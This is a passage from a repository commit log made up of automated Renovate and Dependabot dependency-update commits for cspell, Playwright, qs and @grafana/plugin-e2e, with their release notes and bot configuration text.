([#&#8203;4309](https://redirect.github.com/streetsidesoftware/cspell/issues/4309))
([0e517d1](0e517d13a6))

###
[`v6.29.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6291-2023-03-13)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.29.0...v6.29.1)

**Note:** Version bump only for package cspell

###
[`v6.29.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6290-2023-03-11)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.28.0...v6.29.0)

**Note:** Version bump only for package cspell

###
[`v6.28.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6280-2023-03-03)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.27.0...v6.28.0)

##### Features

- Support multiple `repMap` combinations
([#&#8203;4270](https://redirect.github.com/streetsidesoftware/cspell/issues/4270))
([bbc3ed4](bbc3ed4a1e))

###
[`v6.27.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6270-2023-02-26)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.26.3...v6.27.0)

##### Features

- Support spell checking utf16 files with BOM
([#&#8203;4232](https://redirect.github.com/streetsidesoftware/cspell/issues/4232))
([8062f62](8062f621df))

#### 6.26.3 (2023-02-16)

##### Bug Fixes

- Be able to read cache format from config
([#&#8203;4190](https://redirect.github.com/streetsidesoftware/cspell/issues/4190))
([6029893](60298938cd))

#### 6.26.2 (2023-02-16)

##### Bug Fixes

- `node:worker_threads` breaks on node 14
([#&#8203;4185](https://redirect.github.com/streetsidesoftware/cspell/issues/4185))
([8654ac7](8654ac7161))

#### 6.26.1 (2023-02-15)

##### Bug Fixes

- improve Dynamic Import README.md
([#&#8203;4178](https://redirect.github.com/streetsidesoftware/cspell/issues/4178))
([4ad1133](4ad1133e62))

###
[`v6.26.3`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6263-2023-02-16)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.26.2...v6.26.3)

##### Bug Fixes

- Be able to read cache format from config
([#&#8203;4190](https://redirect.github.com/streetsidesoftware/cspell/issues/4190))
([6029893](60298938cd))

###
[`v6.26.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6262-2023-02-16)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.26.1...v6.26.2)

##### Bug Fixes

- `node:worker_threads` breaks on node 14
([#&#8203;4185](https://redirect.github.com/streetsidesoftware/cspell/issues/4185))
([8654ac7](8654ac7161))

###
[`v6.26.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6261-2023-02-15)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.26.0...v6.26.1)

##### Bug Fixes

- improve Dynamic Import README.md
([#&#8203;4178](https://redirect.github.com/streetsidesoftware/cspell/issues/4178))
([4ad1133](4ad1133e62))

###
[`v6.26.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6260-2023-02-15)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.25.0...v6.26.0)

##### Features

- All `flagWords` and `suggestWords` suggestions are preferred.
([#&#8203;4176](https://redirect.github.com/streetsidesoftware/cspell/issues/4176))
([abfb09c](abfb09c1fe))

###
[`v6.25.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6250-2023-02-14)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.24.0...v6.25.0)

##### Bug Fixes

- Add `.webm` to know file types
([#&#8203;4171](https://redirect.github.com/streetsidesoftware/cspell/issues/4171))
([eeb9497](eeb9497143))

###
[`v6.24.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6240-2023-02-13)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.23.1...v6.24.0)

**Note:** Version bump only for package cspell

#### 6.23.1 (2023-02-12)

**Note:** Version bump only for package cspell

###
[`v6.23.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6231-2023-02-12)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.23.0...v6.23.1)

**Note:** Version bump only for package cspell

###
[`v6.23.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6230-2023-02-11)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.22.0...v6.23.0)

**Note:** Version bump only for package cspell

###
[`v6.22.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6220-2023-02-05)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.21.0...v6.22.0)

**Note:** Version bump only for package cspell

###
[`v6.21.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6210-2023-02-03)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.20.1...v6.21.0)

**Note:** Version bump only for package cspell

#### 6.20.1 (2023-02-01)

##### Bug Fixes

- Correct .gitignore comment detection
([#&#8203;4083](https://redirect.github.com/streetsidesoftware/cspell/issues/4083))
([cadfbc4](cadfbc489f))

###
[`v6.20.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6201-2023-02-01)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.20.0...v6.20.1)

##### Bug Fixes

- Correct .gitignore comment detection
([#&#8203;4083](https://redirect.github.com/streetsidesoftware/cspell/issues/4083))
([cadfbc4](cadfbc489f))

###
[`v6.20.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6200-2023-02-01)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.19.2...v6.20.0)

**Note:** Version bump only for package cspell

#### 6.19.2 (2023-01-17)

**Note:** Version bump only for package cspell

#### 6.19.1 (2023-01-17)

##### Bug Fixes

- Remove `vitest` as a dependency
([#&#8203;4031](https://redirect.github.com/streetsidesoftware/cspell/issues/4031))
([2784b75](2784b75fee))

###
[`v6.19.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6192-2023-01-17)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.19.1...v6.19.2)

**Note:** Version bump only for package cspell

###
[`v6.19.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6191-2023-01-17)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.19.0...v6.19.1)

##### Bug Fixes

- Remove `vitest` as a dependency
([#&#8203;4031](https://redirect.github.com/streetsidesoftware/cspell/issues/4031))
([2784b75](2784b75fee))

###
[`v6.19.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6190-2023-01-16)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.18.1...v6.19.0)

**Note:** Version bump only for package cspell

#### 6.18.1 (2022-12-29)

**Note:** Version bump only for package cspell

###
[`v6.18.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6181-2022-12-29)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.18.0...v6.18.1)

**Note:** Version bump only for package cspell

###
[`v6.18.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6180-2022-12-21)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.17.0...v6.18.0)

**Note:** Version bump only for package cspell

###
[`v6.17.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6170-2022-12-05)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.16.0...v6.17.0)

**Note:** Version bump only for package cspell

###
[`v6.16.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6160-2022-12-02)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.15.1...v6.16.0)

**Note:** Version bump only for package cspell

#### 6.15.1 (2022-11-30)

**Note:** Version bump only for package cspell

###
[`v6.15.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6151-2022-11-30)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.15.0...v6.15.1)

**Note:** Version bump only for package cspell

###
[`v6.15.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6150-2022-11-25)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.14.3...v6.15.0)

##### Features

- Preferred suggestions are listed first
([#&#8203;3869](https://redirect.github.com/streetsidesoftware/cspell/issues/3869))
([1b7a65d](1b7a65d6ec))

#### 6.14.3 (2022-11-17)

##### Bug Fixes

- trie-lib - fix issue with reference radix.
([#&#8203;3849](https://redirect.github.com/streetsidesoftware/cspell/issues/3849))
([73af697](73af6978c5))

#### 6.14.2 (2022-11-11)

**Note:** Version bump only for package cspell

#### 6.14.1 (2022-11-07)

**Note:** Version bump only for package cspell

###
[`v6.14.3`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6143-2022-11-17)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.14.2...v6.14.3)

##### Bug Fixes

- trie-lib - fix issue with reference radix.
([#&#8203;3849](https://redirect.github.com/streetsidesoftware/cspell/issues/3849))
([73af697](73af6978c5))

###
[`v6.14.2`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6142-2022-11-11)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.14.1...v6.14.2)

**Note:** Version bump only for package cspell

###
[`v6.14.1`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6141-2022-11-07)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.14.0...v6.14.1)

**Note:** Version bump only for package cspell

###
[`v6.14.0`](https://redirect.github.com/streetsidesoftware/cspell/blob/HEAD/packages/cspell/CHANGELOG.md#6140-2022-11-03)

[Compare
Source](https://redirect.github.com/streetsidesoftware/cspell/compare/v6.13.3...v6.14.0)

**Note:** Version bump only for package cspell

#### 6.13.3 (2022-10-31)

##### Bug Fixes

- Update dictionaries
([#&#8203;3795](https://redirect.github.com/streetsidesoftware/cspell/issues/3795))
([ae8de27](ae8de2754d))

#### 6.13.2 (2022-10-31)

##### Bug Fixes

- Do not generate duplicate entries by default
([#&#8203;3793](https://redirect.github.com/streetsidesoftware/cspell/issues/3793))
([f27d3c6](f27d3c68ad))

#### 6.13.1 (2022-10-28)

**Note:** Version bump only for package cspell

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-08 14:18:39 +01:00
renovate-sh-app[bot]
4eb55efa59 chore(deps): update dependency @playwright/test to ^1.55.0 (#2156)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@playwright/test](https://playwright.dev)
([source](https://redirect.github.com/microsoft/playwright)) |
[`^1.52.0` →
`^1.55.0`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.55.0/1.57.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.57.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.55.0/1.57.0?slim=true)
|

---

### Release Notes

<details>
<summary>microsoft/playwright (@&#8203;playwright/test)</summary>

###
[`v1.57.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.57.0)

[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.56.1...v1.57.0)

#### Speedboard

In HTML reporter, there's a new tab we call "Speedboard":

<img width="600" alt="speedboard"
src="https://github.com/user-attachments/assets/4ba117ea-ea94-4b6a-82b2-8bbd00dfe81c"
/>

It shows you all your executed tests sorted by slowness,
and can help you understand where your test suite is taking longer than
expected.
Take a look at yours - maybe you'll find some tests that are spending a
longer time waiting than they should!

#### Chrome for Testing

Starting with this release, Playwright switches from Chromium, to using
[Chrome for
Testing](https://developer.chrome.com/blog/chrome-for-testing/) builds.
Both headed and headless browsers are subject to this. Your tests should
still be passing after upgrading to Playwright 1.57.

We're expecting no functional changes to come from this switch. The
biggest change is the new icon and title in your toolbar.

<img width="500" alt="new and old logo"
src="https://github.com/user-attachments/assets/e9a5c4f2-9f35-4c27-9382-0f5eda377097"
/>

If you still see an unexpected behaviour change, please [file an
issue](https://redirect.github.com/microsoft/playwright/issues/new).

On Arm64 Linux, Playwright continues to use Chromium.

#### Waiting for webserver output


[testConfig.webServer](https://playwright.dev/docs/api/class-testconfig#test-config-web-server)
added a `wait` field. Pass a regular expression, and Playwright will
wait until the webserver logs match it.

```js
import { defineConfig } from '@&#8203;playwright/test';

export default defineConfig({
  webServer: {
    command: 'npm run start',
    wait: {
      stdout: '/Listening on port (?<my_server_port>\\d+)/'
    },
  },
});
```

If you include a named capture group into the expression, then
Playwright will provide the capture group contents via environment
variables:

```js
import { test, expect } from '@&#8203;playwright/test';

test.use({ baseUrl: `http://localhost:${process.env.MY_SERVER_PORT ?? 3000}` });

test('homepage', async ({ page }) => {
  await page.goto('/');
});
```

This is not just useful for capturing varying ports of dev servers. You
can also use it to wait for readiness of a service that doesn't expose
an HTTP readiness check, but instead prints a readiness message to
stdout or stderr.

#### Breaking Change

After 3 years of being deprecated, we removed `Page#accessibility` from
our API. Please use other libraries such as
[Axe](https://www.deque.com/axe/) if you need to test page
accessibility. See our Node.js
[guide](https://playwright.dev/docs/accessibility-testing) for
integration with Axe.

#### New APIs

- New property
[testConfig.tag](https://playwright.dev/docs/api/class-testconfig#test-config-tag)
adds a tag to all tests in this run. This is useful when using
[merge-reports](https://playwright.dev/docs/test-sharding#merging-reports-from-multiple-shards).
-
[worker.on('console')](https://playwright.dev/docs/api/class-worker#worker-event-console)
event is emitted when JavaScript within the worker calls one of console
API methods, e.g. console.log or console.dir.
[worker.waitForEvent()](https://playwright.dev/docs/api/class-worker#worker-wait-for-event)
can be used to wait for it.
-
[locator.description()](https://playwright.dev/docs/api/class-locator#locator-description)
returns locator description previously set with
[locator.describe()](https://playwright.dev/docs/api/class-locator#locator-describe),
and `Locator.toString()` now uses the description when available.
- New option
[`steps`](https://playwright.dev/docs/api/class-locator#locator-click-option-steps)
in
[locator.click()](https://playwright.dev/docs/api/class-locator#locator-click)
and
[locator.dragTo()](https://playwright.dev/docs/api/class-locator#locator-drag-to)
that configures the number of `mousemove` events emitted while moving
the mouse pointer to the target element.
- Network requests issued by [Service
Workers](https://playwright.dev/docs/service-workers#network-events-and-routing)
are now reported and can be routed through the
[BrowserContext](https://playwright.dev/docs/api/class-browsercontext),
only in Chromium. You can opt out using the
`PLAYWRIGHT_DISABLE_SERVICE_WORKER_NETWORK` environment variable.
- Console messages from Service Workers are dispatched through
[worker.on('console')](https://playwright.dev/docs/api/class-worker#worker-event-console).
You can opt out of this using the
`PLAYWRIGHT_DISABLE_SERVICE_WORKER_CONSOLE` environment variable.

#### Browser Versions

- Chromium 143.0.7499.4
- Mozilla Firefox 144.0.2
- WebKit 26.0

###
[`v1.56.1`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.56.1)

[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.56.0...v1.56.1)

#### Highlights


[#&#8203;37871](https://redirect.github.com/microsoft/playwright/issues/37871)
chore: allow local-network-access permission in chromium

[#&#8203;37891](https://redirect.github.com/microsoft/playwright/issues/37891)
fix(agents): remove workspaceFolder ref from vscode mcp

[#&#8203;37759](https://redirect.github.com/microsoft/playwright/issues/37759)
chore: rename agents to test agents

[#&#8203;37757](https://redirect.github.com/microsoft/playwright/issues/37757)
chore(mcp): fallback to cwd when resolving test config

#### Browser Versions

- Chromium 141.0.7390.37
- Mozilla Firefox 142.0.1
- WebKit 26.0

###
[`v1.56.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.56.0)

[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.55.1...v1.56.0)

#### Playwright Agents

Introducing Playwright Agents, three custom agent definitions designed
to guide LLMs through the core process of building a Playwright test:

- **🎭 planner** explores the app and produces a Markdown test plan
- **🎭 generator** transforms the Markdown plan into the Playwright Test
files
- **🎭 healer** executes the test suite and automatically repairs failing
tests

Run `npx playwright init-agents` with your client of choice to generate
the latest agent definitions:

```bash

# Generate agent files for each agentic loop
# Visual Studio Code
npx playwright init-agents --loop=vscode

# Claude Code
npx playwright init-agents --loop=claude

# opencode
npx playwright init-agents --loop=opencode
```

> \[!NOTE]
> VS Code v1.105 (currently on the VS Code Insiders channel) is needed
for the agentic experience in VS Code. It will become stable shortly, we
are a bit ahead of times with this functionality!

[Learn more about Playwright
Agents](https://playwright.dev/docs/test-agents)

#### New APIs

- New methods
[page.consoleMessages()](https://playwright.dev/docs/api/class-page#page-console-messages)
and
[page.pageErrors()](https://playwright.dev/docs/api/class-page#page-page-errors)
for retrieving the most recent console messages from the page
- New method
[page.requests()](https://playwright.dev/docs/api/class-page#page-requests)
for retrieving the most recent network requests from the page
- Added [`--test-list` and
`--test-list-invert`](https://playwright.dev/docs/test-cli#test-list) to
allow manual specification of specific tests from a file

#### UI Mode and HTML Reporter

- Added option to `'html'` reporter to disable the "Copy prompt" button
- Added option to `'html'` reporter and UI Mode to merge files,
collapsing test and describe blocks into a single unified list
- Added option to UI Mode mirroring the `--update-snapshots` options
- Added option to UI Mode to run only a single worker at a time

#### Breaking Changes

- Event
[browserContext.on('backgroundpage')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-background-page)
has been deprecated and will not be emitted. Method
[browserContext.backgroundPages()](https://playwright.dev/docs/api/class-browsercontext#browser-context-background-pages)
will return an empty list

#### Miscellaneous

- Aria snapshots render and compare `input` `placeholder`
- Added environment variable `PLAYWRIGHT_TEST` to Playwright worker
processes to allow discriminating on testing status

#### Browser Versions

- Chromium 141.0.7390.37
- Mozilla Firefox 142.0.1
- WebKit 26.0

###
[`v1.55.1`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.55.1)

[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.55.0...v1.55.1)

##### Highlights


[#&#8203;37479](https://redirect.github.com/microsoft/playwright/issues/37479)
- \[Bug]: Upgrade Chromium to 140.0.7339.186.

[#&#8203;37147](https://redirect.github.com/microsoft/playwright/issues/37147)
- \[Regression]: Internal error: step id not found.

[#&#8203;37146](https://redirect.github.com/microsoft/playwright/issues/37146)
- \[Regression]: HTML reporter displays a broken chip link when there
are no projects.

[#&#8203;37137](https://redirect.github.com/microsoft/playwright/pull/37137)
- Revert "fix(a11y): track inert elements as hidden".

[#&#8203;37532](https://redirect.github.com/microsoft/playwright/pull/37532)
- chore: do not use -k option

#### Browser Versions

- Chromium 140.0.7339.186
- Mozilla Firefox 141.0
- WebKit 26.0

This version was also tested against the following stable channels:

- Google Chrome 139
- Microsoft Edge 139

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: Sriram <153843+yesoreyeram@users.noreply.github.com>
2025-12-31 13:59:41 +00:00
dependabot[bot]
0232194405 Bump qs from 6.14.0 to 6.14.1 (#2161)
Bumps [qs](https://github.com/ljharb/qs) from 6.14.0 to 6.14.1.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/ljharb/qs/blob/main/CHANGELOG.md">qs's
changelog</a>.</em></p>
<blockquote>
<h2><strong>6.14.1</strong></h2>
<ul>
<li>[Fix] ensure arrayLength applies to <code>[]</code> notation as
well</li>
<li>[Fix] <code>parse</code>: when a custom decoder returns
<code>null</code> for a key, ignore that key</li>
<li>[Refactor] <code>parse</code>: extract key segment splitting
helper</li>
<li>[meta] add threat model</li>
<li>[actions] add workflow permissions</li>
<li>[Tests] <code>stringify</code>: increase coverage</li>
<li>[Dev Deps] update <code>eslint</code>,
<code>@ljharb/eslint-config</code>, <code>npmignore</code>,
<code>es-value-fixtures</code>, <code>for-each</code>,
<code>object-inspect</code></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="3fa11a5f64"><code>3fa11a5</code></a>
v6.14.1</li>
<li><a
href="a62670423c"><code>a626704</code></a>
[Dev Deps] update <code>npmignore</code></li>
<li><a
href="3086902ecf"><code>3086902</code></a>
[Fix] ensure arrayLength applies to <code>[]</code> notation as
well</li>
<li><a
href="fc7930e86c"><code>fc7930e</code></a>
[Dev Deps] update <code>eslint</code>,
<code>@ljharb/eslint-config</code></li>
<li><a
href="0b06aac566"><code>0b06aac</code></a>
[Dev Deps] update <code>@ljharb/eslint-config</code></li>
<li><a
href="64951f6200"><code>64951f6</code></a>
[Refactor] <code>parse</code>: extract key segment splitting helper</li>
<li><a
href="e1bd2599cd"><code>e1bd259</code></a>
[Dev Deps] update <code>@ljharb/eslint-config</code></li>
<li><a
href="f4b3d39709"><code>f4b3d39</code></a>
[eslint] add eslint 9 optional peer dep</li>
<li><a
href="6e94d9596c"><code>6e94d95</code></a>
[Dev Deps] update <code>eslint</code>,
<code>@ljharb/eslint-config</code>, <code>npmignore</code></li>
<li><a
href="973dc3c51c"><code>973dc3c</code></a>
[actions] add workflow permissions</li>
<li>Additional commits viewable in <a
href="https://github.com/ljharb/qs/compare/v6.14.0...v6.14.1">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.14.0&new-version=6.14.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-31 11:28:29 +00:00
renovate-sh-app[bot]
f3c5a15a20 chore(deps): update dependency @grafana/plugin-e2e to ^2.2.3 (#2155)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@grafana/plugin-e2e](https://redirect.github.com/grafana/plugin-tools)
([source](https://redirect.github.com/grafana/plugin-tools/tree/HEAD/packages/plugin-e2e))
| [`^2.1.12` →
`^2.2.3`](https://renovatebot.com/diffs/npm/@grafana%2fplugin-e2e/2.1.12/2.2.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@grafana%2fplugin-e2e/2.2.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@grafana%2fplugin-e2e/2.1.12/2.2.3?slim=true)
|

---

### Release Notes

<details>
<summary>grafana/plugin-tools (@&#8203;grafana/plugin-e2e)</summary>

###
[`v2.2.3`](https://redirect.github.com/grafana/plugin-tools/releases/tag/%40grafana/plugin-e2e%402.2.3)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.2.2...@grafana/plugin-e2e@2.2.3)

##### 🐛 Bug Fix

- CreatePlugin: Adding step about health check functionality in ds
tutorial.
[#&#8203;2222](https://redirect.github.com/grafana/plugin-tools/pull/2222)
([@&#8203;mckn](https://redirect.github.com/mckn))

##### Authors: 1

- Marcus Andersson ([@&#8203;mckn](https://redirect.github.com/mckn))

###
[`v2.2.2`](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.2.1...@grafana/plugin-e2e@2.2.2)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.2.1...@grafana/plugin-e2e@2.2.2)

###
[`v2.2.1`](https://redirect.github.com/grafana/plugin-tools/blob/HEAD/packages/plugin-e2e/CHANGELOG.md#v221-Thu-Oct-09-2025)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.2.0...@grafana/plugin-e2e@2.2.1)

##### 🐛 Bug Fix

- E2E: fix for flakiness in PanelEditPage.refreshPanel
[#&#8203;2207](https://redirect.github.com/grafana/plugin-tools/pull/2207)
([@&#8203;hugohaggmark](https://redirect.github.com/hugohaggmark))

##### Authors: 1

- Hugo Häggmark
([@&#8203;hugohaggmark](https://redirect.github.com/hugohaggmark))

***

###
[`v2.2.0`](https://redirect.github.com/grafana/plugin-tools/blob/HEAD/packages/plugin-e2e/CHANGELOG.md#v220-Tue-Oct-07-2025)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.1.14...@grafana/plugin-e2e@2.2.0)

##### 🚀 Enhancement

- Plugin E2E: Add support for specifying user preferences
[#&#8203;2131](https://redirect.github.com/grafana/plugin-tools/pull/2131)
([@&#8203;sunker](https://redirect.github.com/sunker))

##### Authors: 1

- Erik Sundell ([@&#8203;sunker](https://redirect.github.com/sunker))

***

###
[`v2.1.14`](https://redirect.github.com/grafana/plugin-tools/blob/HEAD/packages/plugin-e2e/CHANGELOG.md#v2114-Mon-Sep-29-2025)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.1.13...@grafana/plugin-e2e@2.1.14)

##### 🐛 Bug Fix

- Update dependency uuid to v13
[#&#8203;2139](https://redirect.github.com/grafana/plugin-tools/pull/2139)
([@&#8203;renovate\[bot\]](https://redirect.github.com/renovate\[bot]))

##### Authors: 1

- [@&#8203;renovate\[bot\]](https://redirect.github.com/renovate\[bot])

***

###
[`v2.1.13`](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.1.12...@grafana/plugin-e2e@2.1.13)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@2.1.12...@grafana/plugin-e2e@2.1.13)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

